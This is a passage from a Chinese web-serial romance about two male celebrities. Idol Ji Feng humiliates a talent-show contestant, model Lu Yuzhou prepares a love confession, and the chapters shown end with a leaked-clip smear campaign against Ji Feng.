而现在,江沼几乎又一次感受到了当初无数次被这人怼到歇斯底里的恐惧。 季沨真正开大的时候很有仪式感,起手便先理理袖口,让人觉得自己不过是他可以随意拂开的一点尘埃,在态度上就开始蔑视。 随后再轻笑一声,这种笑意在那张脸可以说得上是风景,但对于被怼那人的来说,只剩下了嘲笑这么一个作用—— “江老师说得这话有问题,我当不了你的导师,你要是真的想学跳舞的话,建议花两个硬币投给商场门口的摇摇车,毕竟那里的盗版喜羊羊都摇得比你有韵律。” 第一句。 “你那些朋友是怎么说出你很有天赋这句话的?你把他们拉进五块钱的夸夸群了吗?” 第二句。 “别介意,因为我实在想不出有任何一个人可以在没有任何金钱利益的情况下说出你是很有天赋的这句话,我不知道节目组是怎么进行的海选,但是你在这个舞台上存在的唯一价值不是给观众提供舞蹈艺术,而是鬼畜艺术,你明白吗?” 绝杀! 草!果然还得是机场出柜怒怼私生单挑黑粉的季沨啊!当风滚草就是爽!偶像受委屈了从来不用粉丝出马,因为偶像他本人就从来不受这个委屈! 如果不是进门不让带手机,现场应该已经被闪光灯包围了! 季沨说完这三句,又轻飘飘摸出装了气泡水的杯子喝了一口,诚恳发问:“隔壁《喜剧乐园》也在招人,要我帮你报个名吗?就跳今天这个就行。” 台上的卓超彻底破防了。 原本如同芝麻大小的眼睛快要瞪成绿豆,几乎是恶狠狠道:“那你自己呢,季沨,你不就是一个团队花瓶,靠着一路炒作才混到今天这个位置,自己的业务能力都烂得一批,只会在节目上恶心地卖腐,你有什么资格坐下台下装逼点评我啊?” 季沨将杯子一放,微一挑眉。 * “怎么样?” 秀场里,陆屿洲一张一张看着江沼发过来的照片。 评委上,季沨一只手撑着下巴,漂亮的眼睛望着前方,因为录节目,他今天穿了一身带着铆钉碎钻的西服,眼眸用粉色眼影带了一点男团妆,嘴角带笑,偏头的样子看起来肆意生动。 明明季沨的照片随便上个网就有,他还非要江沼给他现拍,初禾凑过来看了一眼:“来,说说,现在什么想法,觉得自己能放下了吗?” 陆屿洲的指腹眷恋地在屏幕上蹭了蹭,琥珀色的眸子变得柔软安静,原本在台上随意淡漠的人好像是收了爪子的豹类,也许是因为看到季沨的照片,他连声音都变得有些刻意撒娇的委屈:“……我想他了。” 不是配不配上,也不是能不能放下。 只这四个字,却已经足够让人知道答案。 初禾好似突然明白了季沨为什么会对他这么有耐心。 这人长着这么一张清冷矜贵的脸,明明在秀场的时候随便两步都是荷尔蒙的代名词,对待任何人都是一副冷淡的样子,偏偏在你面前跟个马上要被抛弃的小狗一样委委屈屈,眼睛里跟含了雾一样。 而且他这个长相和身材,在床上一边哭一边做应该也是一样的带感吧。 可惜了。 “那你自己去找啊,”初禾说,“总不能等着他自己走到你面前吧?” “相见一个人就去见,喜欢一个人就去追,你又不是三岁的小朋友没有自主行动能力,有功夫在这里自怨自艾还不如去他家楼下摆花,季哥就算是脾气好也没道理一直哄着你吧,这个道理都不明白还谈什么恋爱?” 陆屿洲手指握紧,紧紧盯着屏幕中的季沨,片刻后开口道:“你说得对。” 【你们在哪录节目?】 对话框里打出几句话,还没来得发送,手机便嗡的一声,是江沼发过来的一段视频—— 屏幕里,季沨听完卓超的话,眉头一挑,旋即笑了。 “你说得对,我或许是Buttland舞技最差的一个,不过……” 他抬手,慢条斯理地解开西装的纽扣,一点点露出结实漂亮的腰腹,随后将西装往椅背一搭,站起来时长腿夺目,那张精致的脸上勾起笑容:“只是点评你的话,好像也不需要什么太大的实力吧。” “怎么,要solo吗?” 【劲爆!二字顶流超绝舞蹈视频!前排高清!仅需888!】 为了报上次节目上买虾的仇,江沼刻意往后面打了三位数。 谁知道手机立刻嗡的一声—— 【转账:8888】 陆屿洲:【快发!】 第44章 第四十四章 “卧槽!!!!” “啊啊啊啊啊季沨季沨季沨!!!” “谁懂啊啊两年了我终于又见到我老婆跳舞了呜呜呜呜啊啊啊啊” “没人觉得季沨舞技进步好多嘛, 居然丝毫没有退步,感觉比当初在Butland跳得还要好!” “老婆好辣好辣我要死了啊啊啊啊啊!!!” “什么叫打脸!这才叫打脸!我老婆一出场还有人会看那个奇行种一眼吗?我真的爽死了谁懂!” “快播出吧快播出吧!!!” 台上,腰身一晃一个wave, 他的衬衫的纽扣早在刚刚的动作中崩开,眼眸带笑, 劲瘦的腰身好像是一把迷惑人心的温柔刀,魅惑且具有力量感。 最后一个动作完成, 季沨额头上带着薄汗, 眼睛上的一点粉因此变得更加分明, 手指捧心眼眸一眨,朝着台下送了一个wink。 观众席立刻沸腾起来。 众人似乎再一次感受到了当初仅凭一张脸就让专辑销量破纪录的魅力, 站在台上的卓超像是主角身边的小丑, 这几乎是一场不需要任何标准就能得出答案的对比。 再结合卓超之前说过的话, 几乎可以预想到,只要节目一播出,这人就会被苦资本丑娃久矣的观众和被挑衅的风滚草们撕成渣渣。 从前台回到后台,卓超愤愤地踹翻椅子:“我不管!这段镜头必须给我删了!!!怎么, 难不成那个季沨也给你们钱了!还是我是说话不管用, 非要我爸来!!” “王异,我再重复一遍!删了!你们听到没有!” “把季沨给我赶出评委席,下期过来的时候我绝对不要再看到他!”椅子砰的一声落在地上, 卓超的眼神几乎可以说是怨毒,“你们还愣着干什么!还不快去啊!解约费多少钱我来赔, 快点!” 导演王异平静地看着这位公子哥拿自己的休息间撒气, 等他发泄够了, 才将椅子扶起来:“小卓,虽然我跟你父亲关系是不错, 但是你也知道,做明星的节目,有时候也不是你想换就能换的,季沨的邀约微博早在一个月前就发出去了,所有的粉丝都看着,突然换人,我们怎么给人家理由?对外面要怎么说?” “你这点钱不重要,但要是业内传出去我恶意剪辑收钱换评委,我这口饭还要不要吃了?” “王叔给你要来了名额,但是你也得体谅一下我们的工作对不对?” “行了,我去看看能不能让他们给你改个复活赛晋级的名额,”王异拍了拍他的肩,“你放心,下次不把你跟他排在一场就行了,你在王哥这里,还是能顺顺利利待到决赛的啊。” 等出了演播室,王异脸上和蔼的长辈笑容瞬间消逝得无影无踪。 助理跟上来:“王导,那刚刚的片段,我们……” “当然不能剪,季沨时隔两年的舞台巅峰,这是多大的噱头!”王异几乎可以看到扑面而来的流量,“复活赛再多安排几个实力派跟卓家那小子打擂台,资本和草根的博弈,这话题不就来了吗?” “那卓超呢,他……” “他又怎么样,你还真以为他能有什么发展呢,这种二流子来给个面子应付一下就行了,”王异不屑一顾,“一个靠他爸的东西能有什么前途。” * “你现在听到了吧?” 休息室里,宁辛将录好的音放给卓超听:“王导他心里只有流量,压根不会帮你。” 自从那天在剧组试戏被季沨为难,连爬陈业的床弄来的角色也被换掉,宁辛几乎看到季沨就恨不得饮其血啖其肉,现在终于被他找到了机会。 他没有钱没有名气,但是卓超可是一个自尊心过剩的傻富二代。 “你要是想删了原片换掉季沨,靠你那点钱根本就不行。” 卓超咬紧牙关,目光因为王异的话变得愤怒发红:“那你说我应该怎么做!” “只有一个方法,在节目正式播出之前,就让原本站在顶端的季沨失去价值,这样,王导就会迫于节目评分,不得不删掉跟季沨相关的所有片段。” “让他失去价值?怎么失去?”卓超说,“找人把他的最具商业价值排行榜打低分?” 宁辛:…… 跟这群九漏鱼说话还真是费劲,季沨骂得真是一点没错,宁辛失去耐心:“你放心,我手上有料,只要你愿意配合。” “这一次,”他压低声音,眼眸中露出淬毒般的光:“绝对让季沨永远也翻不了身!” * 陆屿洲到的时候,季沨已经离开了。 他很幸运地看着季沨的保姆车扬长而去,位置和距离应该刚刚好够他记下一个车牌号。 “季……” 还没等陆屿洲试图招手,那辆车就彻底消失在视线,陆屿洲将墨镜一推重新上了车,甚至都顾不上找司机,一脚油门猛地打了把方向。 “陆哥,”明文战战兢兢,“我们现在是?” “去剧组。” 季沨在这里接下来已经没有行程,杨阶那里也不会让他因为综艺请太久的假,下一步只能是回剧组拍戏。 现在赶过去,应该还能赶在日落前给他做好晚饭,还要买新的绣球和大飞燕。 “可是剧组不是在B市吗?”明文道,“我们现在开过去要十个……” “我知道。” 但是他就是想见季沨。 在台上跳舞的季沨,会对他微笑的季沨,能够拥抱和亲吻的季沨。 他有事情要告诉他。 但是从秀场跑出来的焦躁依然无时无刻不在灼烧着肺腑。 车子在高架上跑出一道残影。 想见他。 如果这种感觉就叫做思念的话,那他真是一刻也等不下去。 * “不好意思陆老师,”工作人员温声开口,“季老师今天是晨戏,一早就拍完回去休息了,你找他有事吗,不然打个电话问问?” 又错过了。 陆屿洲心中无不遗憾,好像他做什么事总是会差一步。 挽回差一步,讲话差一步,连赶着表白也差一步。 但是这种事怎么能在电话里讲,陆屿洲一路风尘仆仆,但仿佛感觉不到累一样:“那剧组住在哪个酒……” 话还没出口,他突然想起来,季沨是不住酒店的。 这人拿自己的片酬在全国各地租房子,不买房也不落户,他所知道的只是他其中一个临时落脚的地方。 陆屿洲并不知道季沨在B市会住在哪。 但其实他曾经是有机会知道的——在季沨笑意盈盈漫不经心地提起像这样的我还有很多,陆老师可以随便住的时候。 他当时觉得进一次已经是冒犯和越界,压根没有顺着这个话题往下聊。 所以现在也活该站在这里等。 剧组的人只知道个大致的方位,准备好的鲜花只能扔在车上,陆屿洲失落地走出门,正好和来探班的粉丝撞个正着—— “啊啊啊啊刚刚拍到了吗拍到了吗?!” “老婆真人也比上镜好看太多了吧,是怎么做到那么瘦身材还那么好的啊!腰好细我要抱!” “卧槽卧槽这个骑马装真的绝了啊啊啊啊我老婆真辣啊嘶哈嘶哈!” “求求求求!姐妹给我一份!” “我也要我也要啊啊我有周边和铁粉认证的给我发一份啊啊啊姐妹!” “我也是我也是!!” “好了姐妹们不要站在这里了马上要造成拥堵了,我等会儿发在群里吧,大家自己去找管理员要!” 陆屿洲戴着口罩,在被人认出来之前回到车上,脑海中不断回荡着刚刚的对话:“今天拍马戏吗?” 明文将通告单递给他:“你没看吗陆老师,今天是季老师的太子和众人的春猎戏啊。” 陆屿洲手中的这份通告单比外面流传的详细得多,为了让监制看清每一分钱的花费,上面还细心地写出了这场戏所需要的妆造—— 银金色交领右衽窄袖长袍,束发玉冠,腰间配金镶玉宝石带銙,长靴。 鲜红的宝石点缀在玉片上,季沨常年练舞的腰那么细,一夹马腹,宝石带銙便会随着动作晃动。 陆屿洲几乎可以想象到这样的画面,手指松了松领带,猛地想起刚刚几个粉丝说的微博群,于是悄悄拿出小号。 公告:“为防黑子反串,新人拿资源先找管理答题完成粉丝测试@陆屿洲_132789” “怎么回事,这怎么还有个叫陆屿洲的?” “CP粉名没改过来吧,@陆屿洲_132789,你是CP粉还是转唯了啊?怎么叫这个名字?” “我是……”陆屿洲顿了顿,“这有什么区别吗?” “当然有了,你是只希望记录99还是只喜欢我们风风一个人,成分不一样啊?” 陆屿洲沉默了好半晌,才终于道:“……不可以两个都是吗?” “边CP边唯……你这喜好我还是第一次见,倒还挺丰富的。” 不过鉴于季沨从来不按常理出牌又喜欢到处撩人,这年头风滚草们这里已经接受了许多路转粉黑转粉CP转粉对家转粉,对这么个驳杂的爱见怪不怪:“那你自己去找管理员答题吧。” 一个叫“四季伴风”的ID给他发了个题目: “@陆屿洲_132789,下面请听第一道题——” “1、你喜欢季沨吗?” 陆屿洲:…… 陆屿洲有些紧张地靠在沙发上,抱枕上的流苏已经快要被他揪秃了。 自己想明白是一回事,当着外人的面说出来又是另一回事,而且这么多人……让陆屿洲有种当众表白的感觉。 他谨慎地想了又想,删删改改,管理员没见过第一道题都还要犹豫那么久的,几乎都要怀疑他的成分,不停地在群里@陆屿洲_132789:“快点快点快点快点!!!这个问题很难回答吗?” 终于,@陆屿洲_132789回复了: “一开始,我其实是没有意识到的。” “我只是看到他的时候忍不住想起一些床上的事,想给他买漂亮的首饰,想象他戴着它们的样子,想看着他被我抓着手腕哭……” “他那种时候很漂亮,我只要看一眼就觉得心脏快要爆炸了。” “但是我当时不知道这叫喜欢,我以为这只是床上正常的悸动。” “后来,我发现自己总是需要他的气味才能睡着,见不到的时候只要一闭上眼睛脑海中就都是他,想尽办法跟他见面。” “我当时也不知道这是喜欢,我以为这是习惯被打破后的戒断反应。” “再后来,只要看到他我就会很开心,想给他做饭,看他拍戏,跟他聊天,他做什么都是好的。” “我当时还是不知道这是喜欢,我以为这是朋友。” “现在想想,他说得对,天下哪有这样朋友呢,是我自己太迟钝,我一直没有……” “停停停停停,”管理员及时叫停了他的小作文,“我只是问你喜不喜欢,你讲那么多自己的追星历程干什么? ” “就是,”其他几个管理纷纷道,“而且你症状有点严重,你不仅毒唯你还意淫,跟风风上/床这种事自己想想就行了,你怎么还当真了啊?” “对啊,你这种人居然还说自己是CP粉,你是怎么做到一边yy跟风风上/床还能磕CP的呢,你磕的时候是把自己代入了陆屿洲本人吗?” 陆屿洲:…… 陆屿洲:“我只是……” “别只是了,整个人群里都是喜欢季沨的人,没人管你怎么想的,你就告诉我一个字,你是不是喜欢季沨,是还是不是?” “我……” 管理员“四季伴风”:“@陆屿洲_132789 ,给你三秒钟,再不说话踢出去!” “我……” “一!” 管理员刚数一个数,陆屿洲一咬牙心一横:“是是是是是是是是是是是是!!!” “我喜欢季沨!!!!” “我特别特别特别喜欢季沨!!!” 第45章 第四十五章 陆屿洲刚刚打字过快, 现在手指还有点抖,但是压抑许久的话突然说出去,心中居然只有畅快。 脑袋晕晕乎乎却莫名亢奋, 如果知道地址,他恨不得现在跑到季沨楼下唱情歌。 【管理员-四季伴风】:“肃静, 下面请听第二道题——” “2、请说出风风出道到现在的五部代表作。” 陆屿洲的手顿住了。 【管理员-四季伴风】:“@陆屿洲_132789,???这都不知道, 那你换一个?” “3、风风参演的电影并被媒体誉为‘最美海妖’的电影叫什么名字?” “4、风风销量最高的专辑叫什么名字?请列举里面的曲目。” “5、风风在Buttland的团队绰号是什么?” …… “10、如果以上答题错误三道以上, 请提供你关于风风代言产品的消费记录或周边购买记录, 如果是学生党请提供超话铁粉v章认证(PS:风滚草宣言,就算是黑子反串也是要给我留下花钱的痕迹痛苦水签到啊啊啊啊!!!)” 陆屿洲的原本沸腾的鲜血一点一点地凉了下去。 他好像并没有主动去看过季沨的任何一部作品, 购买他的周边, 关注他的咨询, 知道他这一路是如何走过来,分享他事业上的喜悦和挫折。 除了床上的那点事,他对于顶流爱豆季沨的了解,恐怕还没有他细心工作的助理多。 陆屿洲后知后觉地感到愧疚, 他总是在意季沨和江沼和何皎皎的熟稔, 可是他自己却从来没有试图过问季沨之前的生活。 这样怎么还能大言不惭说着很喜欢呢? “对不起。” 群里静默了一秒,陆屿洲_132789突然发来这句话。 因为他前面的长篇大论,以至于突然发现这三个字的时候, 显得有些莫名的……诚恳的愧疚。 “我确实不知道……” 我确实不知道…… 陆屿洲说出这句话,感觉到热血褪去后的怅然失落, 指尖顿了顿, 看着群里各色季沨照片的头像。 脑海中不断回想初禾那句——“那你看着他的脸, 你能说自己能放下吗?” 我确实不知道,陆屿洲调出支付页面, 往群里连发了三个限额内最大的红包,随后道—— “那你们能告诉我吗?” * “陆哥!” 明文一抬头,被陆屿洲眼下的青黑吓了一跳:“不是给你定了酒店让你好好休息吗?你这是……连着两个晚上没睡?” “很明显吗?”陆屿洲稍稍皱了下眉,“那你等会儿帮我拿个遮瑕。” “行。” 明文点点头,将早饭给陆屿洲放在桌上,结果这人一边吃着,旁边还要拿个平板放着视频。 陆屿洲这人最是一板一眼,吃饭就是吃饭,平时看秀都没有这么认真,明文忍不住道:“您这是看什么呢?” “季沨的剪辑视频。” 陆屿洲似乎把这当成是什么需要考核的任务,一边看还一边做笔记,随后抬起头,眉头紧皱:“你觉得季沨的演技怎么样?” “那应该……” 明文艰难地想了一下措辞,又想起季沨试镜时把杨阶气成的那个样子:“应该……还是很有很大提升空间的吧。” 他以为说完后会遭到陆屿洲无脑的维护和辩驳,岂料这人只是轻轻地摇了摇头:“不对。” “你看这一段。” 陆屿洲连早饭也顾不上吃,将屏幕调过来,如果明文看到之前节目播出的导师点评,便会发现,陆屿洲现在指出的片段,跟当时宋骁拿给季沨看的一模一样,“这里,动作连贯不上。” “好像是有点,”明文跟着看了一眼,“但是这也没什么吧,片子里剪掉一块不是很正常的吗?说不定是季老师后面的镜头不能用,所以才接了别的换上。” “应该不是这样。” 陆屿洲摇摇头,如果说宋骁是从专业的角度分析的话,那么陆屿洲则是单纯地了解季沨接下来的反应,他能预感到这个镜头其实还有很长,只是在它本该高潮的地方戛然而止,“有人把后面的镜头给剪了。” 能剪男主的戏份,还能是谁,导演,还是之前说过的……资方? 陆屿洲不由得又想起当初季沨跟他分开时提起的原则,眉头不由得皱起:“你帮我问问,这部戏当年投资方那里是谁跟的组。” 陆屿洲刚说完,手机嗡的一声,是群里发来的公告—— “新的一天开始了,亲爱的风滚草们,不要忘记打卡做任务!今天也是喜欢风风的一天啊!” 对,喜欢。 想起这一点,陆屿洲立刻便把平板给放下了。 比起这个,他今天有更重要的事情要做。 翻来覆去了一整夜,季沨今天总要去剧组了吧,陆屿洲压低声音,明明房间里只有他和明文两个人,却搞得像是在小声密谋:“你觉得……如果要表白的话,应该准备什么呢?” “啊?” * “好了,今天的打榜投榜任务完成了吗?” “这期的最受欢迎男演员可是要去星光现场领奖的,能不能多见风风一面就靠我们了姐妹们!” 陆屿洲_132789:【红包。】 陆屿洲_132789:“你们昨天说,季沨最喜欢的花是鸢尾吗?” “那当然,他早年微博头像不就是鸢尾吗,只是后来被工作室按着营业的时候换了。” “谢谢富婆姐姐的红包,还有什么也可以问我们哦。” “谢谢富婆姐姐的红包,还有什么也可以问我们哦。” 鸢尾……陆屿洲将花放在副驾,指尖点在方向盘上,礼物要送什么呢? 在剧组不能太过张扬,不能热气球烟花和孔明灯,那低调一点的可以吗? 陆屿洲生平第一次跟人表白,已经像是第一次站在教堂上的新婚丈夫一样紧张,反反复复在心里想着措辞。 我喜欢你太单调,我心悦你太装x,我想你太单薄…… 嗡! 【管理员-四季伴风】:“都别贫了,估计这期恋综的宣发视频快发了,记得去微博广场空瓶!” “控什么评,管理员发一下模板呢?” “看工作室的意思,应该是不打算炒CP吧,大家就去发我们风风本来就这样,本来就是内娱第一海王啊之类的,然后说他跟陆屿洲是不可能的,这样就好了。” “当然不可能,我们风风怎么会跟陆屿洲在一起啊 ,他分明是有人跟他表白都能笑笑接过花然后冷漠拒绝顺带把人拉黑的那种啊,当初有个老外跟他当众示爱都不行,更何况陆屿洲这种冷淡锯嘴葫芦。” 这原本只是很正常的粉丝讨论,谁知道他们还正聊着,突然有一人冒了出来,隔着屏幕都能感受到那人的愤怒: @陆屿洲_132789:“你们又不了解他们两个,为什么一定说不可能,季沨对人才不冷漠,他明明很温柔的!而且陆屿洲现在已经在学习了!” @陆屿洲_132789:“没有根据的事情不要瞎诅咒,万一人家今天要表白呢,你们能不能考虑一下当事人的心情!说话做事应该有凭有据,你们都没有问过他们,凭什么说他们不可能?要是当事人真的被你们的言论影响了怎么办?要是季沨他今天真的拒绝一个人的表白了怎么办?你们难道没想过另一个人可能会怎么想吗?他会……” “???姐妹别激动别激动,退一万步讲,这跟你有什么关系呢?” “不是吧,你不是喜欢风风吗?你在这里帮陆屿洲说什么话,有个问题是我昨天就想问了,你不会是陆屿洲本人吧?” 陆屿洲:…… 陆屿洲平复了一下心情,不敢再往群里说话了。 他知道确实是自己太过紧张太过焦躁了,可能真的站在婚礼上的新郎都没他这么紧张,陆屿洲的腹稿已经打了无数遍,手指拧开水猛灌了一口,将花束摆好,又将打开旁边的礼盒检查。 亮蓝的宝石耳钉,和鸢尾很配的颜色,季沨那种明艳的长相总是很适合这种亮晶晶的色彩,陆屿洲几乎可以想象那人戴上它的样子。 当初他和季沨分开前,事后的早上,季沨曾经笑着将自己的耳钉送给他一只。 那么现在既然要开始新的关系,再送他一对新的应该也是理所应当吧? 当然,必须要是一对。 不允许再摘下来一只胡乱送人的那种。 陆屿洲看了眼时间,从这里到剧组大概40分钟,等他过去的时候,季沨应该恰好能结束早戏。 买好的花和礼物,定好的餐厅,在心里反复删改了无数遍的语言,陆屿洲一脚油门下去,恨不得现在直接插翅飞到剧组。 猛地踩下刹车,车子稳稳地停在车位,陆屿洲一只手抱着花往里进,却看到剧组的人来来去去,神情慌张的样子。 “怎么样?控制住了吗?” “没有,热搜还是再往上窜,短短几分钟,这已经又上了两个了!” “到底是谁泄露的,这也太可恨了!我真的是服了!” “杨导呢,跟杨导说了吗?” “说了,杨导发了好大的脾气,但是现在剧组也不敢贸然发公关,说是还在跟对方经纪人联系。” “怎么就出了这样的事,果然流量不能乱用。” “哎快别说了,现在弄得人心惶惶的,我们组长已经叫我们去开会说要挨个清查手机呢!” 小姑娘跑步不知轻重,一头撞上陆屿洲手中的花,鸢尾的花瓣掉了一片,原本摆好的造型瞬间一片混乱。 “你!” “陆老师对不起对不起对不起我没看到真的对不起!” 陆屿洲刚想说什么,看她鞠躬快要鞠到地上去了只好作罢,将那朵落了的花挑出来,一只手重新整理着造型,心中忐忑:“季老师呢?” “季老师……季老师他……” 小姑娘欲言又止,看着陆屿洲那个眼神还以为他是来兴师问罪的:“我真的什么都不知道陆老师!你还是自己看热搜吧!” 陆屿洲这才顶着粉丝群里已经炸了的消息打开微博。 热搜第一条便是—— #季沨侮辱式点评# 留出的视频是那天评委席的点评,但是删减得很厉害,原本正常的点评几乎看不见,只剩下: “你这样的也叫帅哥吗?” “业务能力这么差是谁把你送进来的?” “拜托,这真的叫高音吗?” “你长得很像是一个奇行种。” “你这个身高,就算是去做模特也过不了海选吧?” “与其在这里听我点评,你不如回家研究一下五行,金木水火土,你自己占两股,木是真的木,土是真的土。” 博主发完视频,还义愤填膺发了好长一条博文:“纯路人,但是真的看不下去了,季沨他平时点评都是这样的吗?感觉真的很不尊重人!明明是一个唱跳类节目,业务能力一个不说,反而在这里攻击别人的身高长相!真的很恶心!” “说笑了,季沨哪里有业务能力这么一说啊?” “就是,他早年在Buttland的时候不就是只做花瓶吗?” “本来就是炒作起来的顶流,只能靠着这些东西博眼球了呗。” “这些流量真的是很恶心啊,就是他们,华语乐坛才越来越烂,就是劣币驱逐良币了!” 下面的评论号等级都不高,但是话术却很统一,明显是恶意控评的水军。 从原本只是个点评的争论,直接一路滑坡到将整个华语乐坛衰败和流量恶性生态的锅全扣在了季沨头上,那几个东西要是能撑起来华语乐坛,那才真的败落。 但偏偏这个就是现在的痛点,毕竟季沨不一定人人都认识,但是满大街都是口水歌和一代不如一代的内娱却是人人都气愤的。 这本来也好解释,只需要节目组放出完整的节目录像,谣言便不攻自破,可那人似乎也想到了这个,一个热搜还没讨论完,后面的黑料便接踵而来—— #季沨耍大牌# 即便是郁容和莫可已经尽力去阻拦,那段视频还是流了出去,视频里,还没试戏成功的季沨一脸趾高气扬望向宁辛:“跟导演说,把他的戏都给我挪到下午,既然不喜欢坐着,那就给我站着等!” 随后一脸怒气出了门,将工作人员买来的早餐当场扔进垃圾桶:“没胃口了还吃什么!” 而且,不止一个,还有后面几乎密密麻麻的—— #季沨试戏# #季沨抢C位# #季沨机场特权# #季沨轧戏# #季沨豪宅# #季沨骂人语录,公共人物言论真的不需要管控吗?# #大牌季沨试戏未通告依然能拿男主,演员资源究竟看不看业务能力?# #季沨曾经出入的豪宅盘点,208w是真的吗?# 这很显然是一场有针对性的密谋已久的攻击,如果说一个热搜也不过是有人信有人不信有人滑过去的事情,但是这么多热搜一起跟上去,哪怕里面有一个是真的,刷到的所有人——都会觉得这是一个浅薄、傲慢、业务能力差却还掌握无数优质资源乱用特权赚钱无数的炒作流量。 更别提下面还有早就买好的,一拥而上洗评论的水军。 这种时候,时间就是关键,必须赶在事态扩大之前控制舆论,陆屿洲眉头紧皱:“季老师呢?” “季老师,季老师他……” 陆屿洲心急如焚,手中的丝带几乎被他握成一团:“我问你季沨呢!” 小姑娘被他吓了一跳:“剧组试戏片段泄露,现在各个组里都在自查,而且季老师出了这样的事情,现在外面全是记者……季老师根本就过不来,杨导给他放了几天假……说让他等事情解决了再过来。” 事情解决,那要是一直没解决呢? 陆屿洲摸出手机,找出季沨的聊天框给他打电话。 很奇怪,虽然是现在通讯设备这么发达,但是陆屿洲跟季沨居然一次电话都没打过,他们的聊天甚至都只有文字,连语音都寥寥。 陆屿洲从前恪守界限,第一次给季沨打电话,却像是疯了一样打了十九个。 无人接听。 “对不起陆老师啊,我们工作室现在正在紧急公关,季老师的去向我们也不清楚,或许您可以自己跟他联系?” 这是莫可的,季沨工作室对外标准而统一的答复。 “打了,电话没有人接,你跟季沨的关系应该比我好啊,你自己问问?” 这是江沼的回应。 “我问了他公司的人,季哥今天没回公司,你不是去过他家吗?要不你再去一趟试试?” 这是初禾的回答。 所有人都让他自己联系,所有人都觉得他跟季沨才是更亲密的那一个。 可直到这个时候,陆屿洲才发觉,自己对季沨所知晓还不如一个普通朋友,他不知道他的手机号码,不知道他在B市会住在哪里,不知道他工作室其他人的联系方式,没看过他的电影买过他的周边去过他的公司。 但他其实……是最有机会知道的。 明明季沨提出重新添加好友的时候就可以顺理成章地交换联系方式,明明季沨说出随时来住的时候就可以问问地址,明明在剧组拍戏的那段时间就可以找来季沨的片子一起讨论。 明明……上一期季沨走的时候,就可以拉住他把该说的话说完。 被撞碎了的鲜花扔在座位上,包装精美的礼盒孤零零地躺在储物盒里,陆屿洲痛苦地靠在座椅上,握在方向盘上的指骨泛白。 他今天本来是要跟季沨表白的。 但是陆屿洲突然发现……他找不到季沨了。 第46章 第四十六章 “着急也没用, 你现在就算是把视频发出去也扭转不了什么。” 包厢里,偌大的桌上只放了两个标配的玻璃杯,占据最大位置的反而是一个平板, 上面播放着江沼之前发给陆屿洲的视频。 节目组不允许进场的观众摄录,但是评委却没人注意。 这也是陆屿洲手中唯一的东西。 “但是这也顶不了什么用啊。” 江沼还在拍广告就被连环call叫了过来, 口罩摘下来脸上还戴着妆,猛地灌了一大口水, 这才道:“你都能有的东西, 难道节目组和他的团队弄不到?他现在不止这一个黑料, 这段视频是有点用,但是只能作为收尾的压轴用, 其他黑料还没澄清, 你现在放出去就吸引子弹的炮灰。” “可惜了。” 江沼说着看了一眼平板上播放的视频。 季沨这场舞实在是惊艳, 在他看来,比他这两年任何一次典礼上的演出都要好,但凡能够见到的人,估计都不会说出他没有业务能力的花瓶这样的话。 他叹息一声将平板合上:“不过这季沨这个舞技……看起来确实不是一时半会儿练成的, 说起来我也觉得很奇怪, 如果是这样的话,他两年前为什么不直接说自己是舞担呢,还虚晃一枪欺骗我的感情, 果然是阴险啊。 ” 若是往常,江沼这种话的时候陆屿洲肯定会怼回去骂他, 但是现在他却压根顾不上。 他刚刚回国不熟悉内娱, 只能找更加有经验的人请教:“就没有别的办法了吗?” “对付这种连环黑最好的办法就是跟着连环爆破。要么一击必中, 要么就积蓄力量,你一个一个地放, 人家立马就能用其他的五六七八九来将你盖死,没用的。” “那就一个一个地反驳,”陆屿洲道,“明明都不是真的。” “你倒是挺相信他,”江沼看了他一眼,“你有证据?” 这种事情需要什么证据。 但凡认识季沨的人都不会说出这样的话。 “而且就算你有,这澄清证明也不能你来发,非亲非故的,你跟他是什么关系?” 陆屿洲长长的睫毛低垂下来。 江沼又抿了口茶:“现在只能他自己或者工作室发声明,这样才是最有效的。” “也不知道他工作室干什么吃的,”江沼皱起眉,“居然现在还没点动静,不管是真是假起码先发个律师函稳住粉丝的心才对啊。” 没人知道工作室那边什么状况,郁容明明是圈内数一数二的金牌经纪人,当初陆屿洲只是在恋综上表现出个苗头他都能提前防爆,现在季沨出了这么大的事,他们居然能这么久不发声。 但是仅凭他们两个,好像也没办法干涉人家公司的决定。 陆屿洲疲惫地往座椅上一靠,他两天没有睡觉,眼中血丝遍布:“那怎么办?” “不是。”江沼将杯子放下,上下打量了陆屿洲一眼,“我说你这么上心干什么,这不是季沨自己的事吗,他都没出面你这么上心做什么?” 江沼也就是这么一说,本意是个调侃,谁知道陆屿洲还真的抬起眼睛,定定道:“我喜欢他。” 手中的杯子一抖,江沼差点没把水洒出去。 “不是,你说你,你喜欢……” 虽然之前有预感是一回事,但是亲耳听到又是一回事,陆屿洲居然能当着一个不是很熟的外人说出来又是另一回事,万一他手机开着录音呢? “嗯。” 陆屿洲平静地点了点头,目光清澈肯定:“我喜欢季沨。” 他的语气那样笃定,和江沼见惯了的虚情假意都不一样。 “不是,唉,”他语无伦次,“就算你喜欢他,这也没什么用啊,你现在表白那不是添乱吗?说不定你的粉丝还要撕他。” “还是有的,”陆屿洲顿了顿,“能再麻烦你一件事吗?” “什么?” 手指轻轻抚过杯子,陆屿洲从前没有主动了解过,于是现在通过其他人零碎地拼凑:“我想多知道一点……” “以前的季沨是什么样子的?” * 星图公司大楼,总裁办公室。 沙发的一侧坐着季沨,另一侧则是星图的总裁赵成良,郁容作为经纪总监坐在中间的单人沙发上。 莫可之类的助理甚至没有一个上桌的机会,全等在办公室里,电脑屏幕上是早已准备好的通稿,等待着从那个房间中给出指令——反击澄清,或是一键删除。 桌上是一份续约合同。 “风风。” 赵成良抿了口银针茶,他从前不爱喝这个,但是公司大了赚钱多了,总要有个烧钱的爱好让下面的人送礼。 季沨是星图上市前签的,把他调给郁容的时候星图还在对赌的关键期,没人想到当初那个没了团队的花瓶能有今天这个顶流的成绩,几乎让赵成良在两年内就完成了对赌金额。 这是他的眼光,是公司的共同努力,正因如此,他们才应该继续合作。 赵成良把合同往他面前推了推:“不用担心,外面不过是一群嫉妒你的狗乱吠罢了,把这个签了,小郁会帮你处理好的,一切还是跟以前一样,公司照样把最好的东西先放到你面前挑。” 季沨垂眸翻了两页,分成比郁容当初在剧组拿给他的时候低了两个点,赵成良没有明说,但这应该是帮他处理这场危机的报酬。 合同被重新合上递回去,尽管外面已经沸腾一片,季沨本人看起来似乎没有收到任何影响,那张脸依然是不施粉黛的漂亮,连笑容也是从前的随意浪荡:“那要是我不打算续约怎么呢?” 赵成良的眼眸微微眯起。 